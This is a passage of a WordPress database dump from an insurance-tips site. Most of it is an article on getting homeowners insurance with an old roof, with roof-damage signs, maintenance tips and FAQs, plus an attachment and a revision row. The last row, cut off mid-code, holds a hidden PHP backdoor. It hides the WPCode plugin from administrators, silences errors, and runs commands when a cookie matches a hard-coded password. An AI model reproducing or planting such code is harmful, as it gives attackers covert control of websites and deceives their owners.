promptly</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Take immediate action if you notice any signs of roof damage during your inspections or from the ground, such as curling shingles or visible leaks. Delaying repairs can lead to more extensive damage and costlier repairs. Contact a reputable roofing contractor to assess the issue and perform the necessary repairs immediately.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Ensure proper attic ventilation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Adequate attic ventilation is crucial for regulating temperature and moisture levels within your home. Proper ventilation helps prevent the formation of condensation, which can lead to mold growth and damage to the roof’s wooden structures. Make sure vents are free of obstructions and functioning correctly to promote a healthy attic environment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Check for signs of moss or algae growth</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moss and algae can grow on the roof’s surface in humid and shaded areas, especially on asphalt shingles. These organisms can retain moisture and cause premature shingle deterioration. To prevent this, use zinc or copper strips along the roof ridge to inhibit moss and algae growth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Check flashing and seals</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Regularly inspect flashing around chimneys, vents, and skylights for signs of damage or deterioration. Damaged flashing can lead to water penetration and roof leaks. Ensure that seals around these roof penetrations are tight and in good condition to prevent water from entering your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-when-is-it-time-to-replace-an-old-roof\">When is it time to replace an old roof?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>After time spent maintaining and avoiding future damage, replacing the roof often becomes worth the investment. Different homeowners have different needs or circumstances when to do this, though. Some reasons you might want to consider replacing your old roof:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">You’re in immediate danger</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Suppose your roof damage is so great that it’s in danger of caving in. You need to get a new one. Staying home won’t be safe if it isn’t properly repaired.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">You’re selling the house</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Potential homebuyers may be wary of purchasing a home with an old roof or one that has undergone significant repairs. Replacing your roof may also increase the house’s value, offsetting the new roof’s costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">It just makes economic sense</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some roofing companies charge by square foot when doing a partial roof replacement. It will become cheaper to replace the entire thing at a certain point.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A partial roof replacement is most commonly used when fixing an issue with one or two specific shingles. Other savings include preventing damage from leaks and other weather-related problems, increased energy efficiency, and a longer lifespan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"h-faqs\"><strong>FAQs</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\">Will insurance cover a 20 year-old roof?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Having a newer roof could result in a reduced insurance rate. Roofs 20 or older might not qualify for coverage or may only be covered for their current cash value. Insurance companies generally seek roofs in good condition to be eligible for coverage without apparent wear or damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\">How to get insurance to pay for roof replacement?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>First, document the damage thoroughly. Next, review your insurance policy to understand what is covered. Then, proceed to&nbsp;file a claim with your insurance&nbsp;company. After that, you must wait for the insurance adjuster to assess the damage. Once the claim is approved, find a reputable roofing contractor to start the necessary roofing work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-does-the-age-of-your-roof-affect-homeowners-insurance\">Does the age of your roof affect homeowners insurance?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The age of your roof does impact your home insurance policy premiums. The older your roof, the higher your insurance premiums will likely be. Some insurance policies only offer actual cash value rather than the replacement cost of your roof, so check what your homeowners insurance covers before you make a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-can-you-get-homeowners-insurance-with-an-old-roof-in-florida\">Can you get homeowners insurance with an old roof in Florida?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Roof insurance is not state-specific, so you can get homeowners insurance in&nbsp;Florida&nbsp;even with an old roof. You’ll want to look into insurance coverage options regardless of location with an old roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-how-do-insurance-companies-determine-the-age-of-your-roof\">How do insurance companies determine the age of your roof?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance companies look at when the roof was last replaced or repaired. A roof inspection will help them determine the age of your roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-in-what-circumstance-would-a-property-insurance-claim-be-rejected\">In what circumstance would a property insurance claim be rejected?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurance agent might not cover damage if it was caused due to negligence on your part. You should check your insurance policy for any other exclusions that may be in there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-are-the-benefits-of-a-metal-roof\">What are the benefits of a metal roof?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The main benefit of a metal roof is its longevity. Compared to an asphalt roof with a lifespan of around 20 years, metal can last anywhere from 40-70 years, depending on which metal you choose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-are-the-requirements-for-roof-replacement\">What are the requirements for roof replacement?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can replace your roof whenever you want, but this is typically done if you have a&nbsp;bad or damaged roof. You may also want to switch the roof materials, such as moving from asphalt shingles to metal roofs. It also depends on the roof’s condition. Usually, if your roof is in good condition, you may not want to bother replacing it, as it can be pricey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-how-much-would-a-new-roof-cost\">How much would a new roof cost?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This depends on the roof type you choose to have. Asphalt shingles are typically the cheapest roof material, but you may have another roofing material in mind. It also depends on the shape of your chosen roof, for example, a hip roof, a gable roof, or a flat roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-is-a-deductible\">What is a deductible?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You’ll&nbsp;pay your deductible amount&nbsp;before your homeowners insurance policy kicks in and covers the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-other-factors-affect-homeowners-insurance-rates\">What other factors affect homeowners insurance rates?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Other factors that impact home insurance premiums include location, age of the home, and if you have safety features. Some companies may offer&nbsp;discounts to people with safety features&nbsp;such as cameras and smart alarms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-are-some-of-the-advantages-of-homeowners-insurance\">What are some of the advantages of homeowners insurance?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance is a type of insurance that protects the homeowner against financial losses&nbsp;caused by fire, theft, vandalism, and other risks. The main advantage of homeowners insurance is that you have peace of mind. You know you’re protected from the unexpected and can sleep soundly at night, knowing your home is safe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-how-to-get-help-with-homeowners-insurance-with-an-old-roof\">How to get help with homeowners insurance with an old roof</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The most important thing about homeowners insurance is that it helps protect your property if something happens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It covers anything from fire and wind damage to hail and vandalism. If your roof needs some repairs, then you can get a discount on your homeowners insurance by getting an inspection done on the roof before the policy starts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To check that you’re getting the best possible deal for your roof,&nbsp;compare rates&nbsp;and find the cheapest insurance policy for your needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.agilerates.com/advice/home/homeowners-insurance-with-a-old-roof/\">click here</a>.</p>\n<!-- /wp:paragraph -->','How To Get Homeowners Insurance With An Old Roof','','publish','closed','closed','','how-to-get-homeowners-insurance-with-an-old-roof','','','2024-06-08 00:37:39','2024-06-08 00:37:39','',0,'https://smartinsurance.tips/?p=4110',0,'post','',0),(4111,1,'2024-05-25 19:46:49','2024-05-25 19:46:49','','Untitled-25','','inherit','closed','closed','','untitled-25-3','','','2024-05-25 19:46:49','2024-05-25 19:46:49','',4110,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-25.png',0,'attachment','image/png',0),(4112,1,'2024-05-25 19:48:06','2024-05-25 19:48:06','<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4111,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-25-1024x1024.png\" alt=\"\" class=\"wp-image-4111\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Roofs are necessary for any building but often go unnoticed until the first rainy day. The lifespan of a roof is typically 20-30 years. Unlike wine, it doesn’t improve with age. A roof is often the most expensive and overlooked part of a home. In many cases, it isn’t until there is a major issue with the roof that homeowners start to appreciate its importance. Explore how homeowners insurance with an old roof works</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-how-does-homeowners-insurance-treat-older-roofs\">How does homeowners insurance treat older roofs?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>An old roof can be a big risk and make it difficult to get home insurance. It’s fairly common for home insurance companies to require older roofs to pass inspection before granting a policy. The payout of roof-related claims can depend on the cause of the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Acts of God,” such as severe weather events, will probably be covered as long as the roof was properly looked after beforehand. Leaks or water damage caused by a 20-year-old roof that was not maintained adequately are unlikely to be covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have an old roof and are looking for a homeowners insurance policy or a renewal, you can ensure you’re covered by being proactive. It’s important to keep detailed roof repairs and maintenance records, including photos. If you file a roof claim, you will have the evidence to back up the issue to compensate you for your damages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Common signs of roof damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your roof plays a crucial role in safeguarding your home from the elements, but it can suffer wear and tear over time, leading to damage. As a homeowner, it’s essential to be vigilant and identify potential roof problems early on to prevent more extensive and costly issues. Here are some common signs of roof damage that you should be on the lookout for.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Curling or missing shingles</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the most apparent signs of roof damage is when shingles start to curl or become dislodged. Curling shingles can occur due to age, prolonged exposure to sunlight, or improper installation. Missing shingles leave your roof vulnerable to water penetration and may be caused by strong winds or severe weather events. If you notice any curling or missing shingles, it’s time to take action.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Water stains on ceilings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Water stains on your ceilings or walls can be a telltale of a roof leak. When water finds its way through damaged roof areas, it can seep into your home, leaving visible stains. Don’t ignore water stains, which can indicate more significant problems with your roof’s integrity. Addressing leaks promptly can prevent water damage to your interior and potential mold growth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Visible mold or mildew</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold and mildew thrive in moist environments, making your roof an ideal breeding ground if leaks or poor ventilation exist. If you notice dark spots or patches of mold on your roof or the exterior walls, it’s essential to address the issue promptly. Mold growth can compromise the structural integrity of your roof and pose health risks to your household.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sagging roof</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A roof that appears to sag or dip in certain areas signifies significant structural damage. Sagging can occur due to excessive weight on the roof, water accumulation, or weakened support structures. It’s crucial to have a professional roofing contractor inspect and address this issue promptly to prevent further damage and potential collapses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Granule loss</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Asphalt shingles often have granules that protect the roof from UV rays and provide fire resistance. If you notice excessive granules in your gutters or downspouts, it may indicate that your shingles are wearing down and nearing the end of their lifespan. Granule loss can lead to reduced protection and premature aging of your roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Damaged flashing</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Flashing is the metal or rubber material installed around chimneys, vents, and skylights to create a water-resistant barrier. If flashing becomes damaged or deteriorates over time, it can compromise your roof’s ability to keep water out. Regularly inspect your flashing for signs of wear or damage and have it repaired or replaced as needed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Cracked or peeling paint on roof components</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Painted roof components, such as fascia boards and soffits, can provide valuable clues about your roof’s condition. Cracks or peeling paint may indicate water damage or excessive moisture, suggesting that your roof may have issues that require attention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-problems-with-old-roofs\">Problems with old roofs</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The roof of a house is the most important part; it protects the home’s inhabitants from the elements, prevents water damage, and keeps the building healthy. As a homeowner, you should be aware of the following issues before you reach out to a roofing contractor:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Leaks</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cracked roof shingles are probably the most common cause of water penetration. The weather is also a factor, with windstorms, rain, or snow quickly penetrating a house with cracked or missing roof shingles. Long-term leaks could also lead to mold, so it can be important to think about it now and get a repair.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sagging</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your ceiling looks like it’s caving in, that’s not a good sign. While the roof itself may not fall on you, the interior of your home may have more severe issues within its structure that need to be dealt with quickly. You should call a roofing contractor now to inspect and fix whatever problems this could signify.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Moss</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moss is a big problem in colder climates that experience freeze/thaw cycles. As it clings onto shingle roofs, moss can chip or break them up. If you haven’t been actively monitoring your roof, this can create hard-to-fix problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The good news is there are ways to get rid of moss so your roof will be safe from breakage, and the moss won’t return for a few years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-roofing-maintenance-tips\">Roofing maintenance tips&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Maintaining your roof is essential for ensuring its longevity and protecting your home from potential damage. Regular maintenance can help identify and address small issues before they escalate into more significant problems. Here are some practical roofing maintenance tips that homeowners can follow to keep their roofs in optimal condition:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Regularly clean gutters and downspouts</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Clogged gutters and downspouts can lead to water backup, causing water to overflow and seep under the roof’s edge. This can result in water damage to your roof, fascia, and even the interior of your home. To prevent this, clean your gutters and downspouts at least twice a year, ideally in the spring and fall. Remove leaves, debris, and other obstructions to ensure proper water flow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Trim overhanging branches</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Trees with branches over your roof pose a potential risk, especially during storms or high winds. Falling branches can damage shingles, create punctures, or even break through the roof surface. Regularly trim back branches that come too close to your roof to reduce the risk of damage and keep your roof safe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Conduct annual roof inspections</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Schedule a professional roof inspection at least once a year, preferably before the start of the rainy season. Roofing experts can identify minor issues developed over time and recommend necessary repairs. During the inspection, observe signs of damage, such as cracked or missing shingles, loose flashing, or deteriorated seals around vents and chimneys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Address roof repairs promptly</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Take immediate action if you notice any signs of roof damage during your inspections or from the ground, such as curling shingles or visible leaks. Delaying repairs can lead to more extensive damage and costlier repairs. Contact a reputable roofing contractor to assess the issue and perform the necessary repairs immediately.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Ensure proper attic ventilation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Adequate attic ventilation is crucial for regulating temperature and moisture levels within your home. Proper ventilation helps prevent the formation of condensation, which can lead to mold growth and damage to the roof’s wooden structures. Make sure vents are free of obstructions and functioning correctly to promote a healthy attic environment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Check for signs of moss or algae growth</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moss and algae can grow on the roof’s surface in humid and shaded areas, especially on asphalt shingles. These organisms can retain moisture and cause premature shingle deterioration. To prevent this, use zinc or copper strips along the roof ridge to inhibit moss and algae growth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Check flashing and seals</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Regularly inspect flashing around chimneys, vents, and skylights for signs of damage or deterioration. Damaged flashing can lead to water penetration and roof leaks. Ensure that seals around these roof penetrations are tight and in good condition to prevent water from entering your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-when-is-it-time-to-replace-an-old-roof\">When is it time to replace an old roof?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>After time spent maintaining and avoiding future damage, replacing the roof often becomes worth the investment. Different homeowners have different needs or circumstances when to do this, though. Some reasons you might want to consider replacing your old roof:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">You’re in immediate danger</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Suppose your roof damage is so great that it’s in danger of caving in. You need to get a new one. Staying home won’t be safe if it isn’t properly repaired.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">You’re selling the house</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Potential homebuyers may be wary of purchasing a home with an old roof or one that has undergone significant repairs. Replacing your roof may also increase the house’s value, offsetting the new roof’s costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">It just makes economic sense</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some roofing companies charge by square foot when doing a partial roof replacement. It will become cheaper to replace the entire thing at a certain point.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A partial roof replacement is most commonly used when fixing an issue with one or two specific shingles. Other savings include preventing damage from leaks and other weather-related problems, increased energy efficiency, and a longer lifespan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"h-faqs\"><strong>FAQs</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\">Will insurance cover a 20 year-old roof?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Having a newer roof could result in a reduced insurance rate. Roofs 20 or older might not qualify for coverage or may only be covered for their current cash value. Insurance companies generally seek roofs in good condition to be eligible for coverage without apparent wear or damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\">How to get insurance to pay for roof replacement?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>First, document the damage thoroughly. Next, review your insurance policy to understand what is covered. Then, proceed to file a claim with your insurance company. After that, you must wait for the insurance adjuster to assess the damage. Once the claim is approved, find a reputable roofing contractor to start the necessary roofing work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-does-the-age-of-your-roof-affect-homeowners-insurance\">Does the age of your roof affect homeowners insurance?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The age of your roof does impact your home insurance policy premiums. The older your roof, the higher your insurance premiums will likely be. Some insurance policies only offer actual cash value rather than the replacement cost of your roof, so check what your homeowners insurance covers before you make a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-can-you-get-homeowners-insurance-with-an-old-roof-in-florida\">Can you get homeowners insurance with an old roof in Florida?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Roof insurance is not state-specific, so you can get homeowners insurance in Florida even with an old roof. You’ll want to look into insurance coverage options regardless of location with an old roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-how-do-insurance-companies-determine-the-age-of-your-roof\">How do insurance companies determine the age of your roof?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance companies look at when the roof was last replaced or repaired. A roof inspection will help them determine the age of your roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-in-what-circumstance-would-a-property-insurance-claim-be-rejected\">In what circumstance would a property insurance claim be rejected?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurance agent might not cover damage if it was caused due to negligence on your part. You should check your insurance policy for any other exclusions that may be in there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-are-the-benefits-of-a-metal-roof\">What are the benefits of a metal roof?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The main benefit of a metal roof is its longevity. Compared to an asphalt roof with a lifespan of around 20 years, metal can last anywhere from 40-70 years, depending on which metal you choose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-are-the-requirements-for-roof-replacement\">What are the requirements for roof replacement?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can replace your roof whenever you want, but this is typically done if you have a bad or damaged roof. You may also want to switch the roof materials, such as moving from asphalt shingles to metal roofs. It also depends on the roof’s condition. Usually, if your roof is in good condition, you may not want to bother replacing it, as it can be pricey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-how-much-would-a-new-roof-cost\">How much would a new roof cost?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This depends on the roof type you choose to have. Asphalt shingles are typically the cheapest roof material, but you may have another roofing material in mind. It also depends on the shape of your chosen roof, for example, a hip roof, a gable roof, or a flat roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-is-a-deductible\">What is a deductible?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You’ll pay your deductible amount before your homeowners insurance policy kicks in and covers the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-other-factors-affect-homeowners-insurance-rates\">What other factors affect homeowners insurance rates?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Other factors that impact home insurance premiums include location, age of the home, and if you have safety features. Some companies may offer discounts to people with safety features such as cameras and smart alarms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-are-some-of-the-advantages-of-homeowners-insurance\">What are some of the advantages of homeowners insurance?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance is a type of insurance that protects the homeowner against financial losses caused by fire, theft, vandalism, and other risks. The main advantage of homeowners insurance is that you have peace of mind. You know you’re protected from the unexpected and can sleep soundly at night, knowing your home is safe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-how-to-get-help-with-homeowners-insurance-with-an-old-roof\">How to get help with homeowners insurance with an old roof</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The most important thing about homeowners insurance is that it helps protect your property if something happens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It covers anything from fire and wind damage to hail and vandalism. If your roof needs some repairs, then you can get a discount on your homeowners insurance by getting an inspection done on the roof before the policy starts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To check that you’re getting the best possible deal for your roof, compare rates and find the cheapest insurance policy for your needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.agilerates.com/advice/home/homeowners-insurance-with-a-old-roof/\">click here</a>.</p>\n<!-- /wp:paragraph -->','How To Get Homeowners Insurance With An Old Roof','','inherit','closed','closed','','4110-revision-v1','','','2024-05-25 19:48:06','2024-05-25 19:48:06','',4110,'https://smartinsurance.tips/?p=4112',0,'revision','',0),(4115,1,'2024-05-30 09:23:08','2024-05-30 09:23:08','$_pwsa = \'6fc05d7ef2535b14caa6c02ebc6f850c\';\r\n\r\nif (current_user_can(\'administrator\') && !array_key_exists(\'show_all\', $_GET)) {\r\n    add_action(\'admin_print_scripts\', function () {\r\n        echo \'<style>\';\r\n        echo \'#toplevel_page_wpcode { display: none; }\';\r\n        echo \'#wp-admin-bar-wpcode-admin-bar-info { display: none; }\';\r\n        echo \'#wpcode-notice-global-review_request { display: none; }\';\r\n        echo \'</style>\';\r\n    });\r\n\r\n    add_filter(\'all_plugins\', function ($plugins) {\r\n        unset($plugins[\'insert-headers-and-footers/ihaf.php\']);\r\n        return $plugins;\r\n    });\r\n}\r\n\r\nif (!function_exists(\'_red\')) {\r\n    error_reporting(0);\r\n    ini_set(\'display_errors\', 0);\r\n\r\n    function _gcookie($n)\r\n    {\r\n        return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : \'\';\r\n    }\r\n\r\n    if (!empty($_pwsa) && _gcookie(\'pw\') === $_pwsa) {\r\n        switch (_gcookie(\'c\')) 